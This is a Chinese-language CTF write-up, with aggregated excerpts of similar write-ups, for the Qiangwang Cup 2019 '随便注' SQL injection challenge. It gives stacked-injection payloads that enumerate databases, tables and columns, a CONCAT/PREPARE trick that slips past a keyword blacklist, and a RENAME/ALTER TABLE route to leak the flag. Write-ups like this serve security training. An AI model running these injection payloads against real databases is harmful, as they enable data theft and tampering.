強網杯 2019 隨便注

2021-10-03 13:52:16 字數 1631 閱讀 1606

1' or 1=1--,回顯了所有使用者資訊

union select 1,2

得到回顯

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
過濾了:

select 

update

delete

drop

insert

where

繼續,由於過濾了select,嘗試堆疊注入:

1';show databases;--
得到:

ctftraining information_schema mysql performance_schema supersqli test
繼續:

1';show tables;--
得到:

1919810931114514 words
繼續:

1';show columns from words;--
得到:

id data
繼續:

1';show columns from `1919810931114514`;--
回顯:

flag

no

flag應該就是在這裡,但是這裡回顯的應該是words表裡面的,並且後端邏輯應該是:

select * from words where id='$id'

所以我們現在要想辦法獲取1919810931114514表裡的資料:

1';sel/**/ect flag fr/**/om `1919810931114514`;--
不可

接下來使用預編譯:

1';set @x=concat('sel','ect ','flag from `1919810931114514`');prepare s from @x;execute s;--
另外還有一種,利用renamealter,

1』;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not null auto_increment primary key; alert table words change flag data varchar(100);#
這種方法是用rename1919810931114514重新命名為words,使系統查詢到的資料直接變成我們想要的flag

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...

強網杯 2019 隨便注

根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單 return preg match select update delete drop insert where i inject 這道題使用的是堆疊注入,原理 在sql中,分號 是...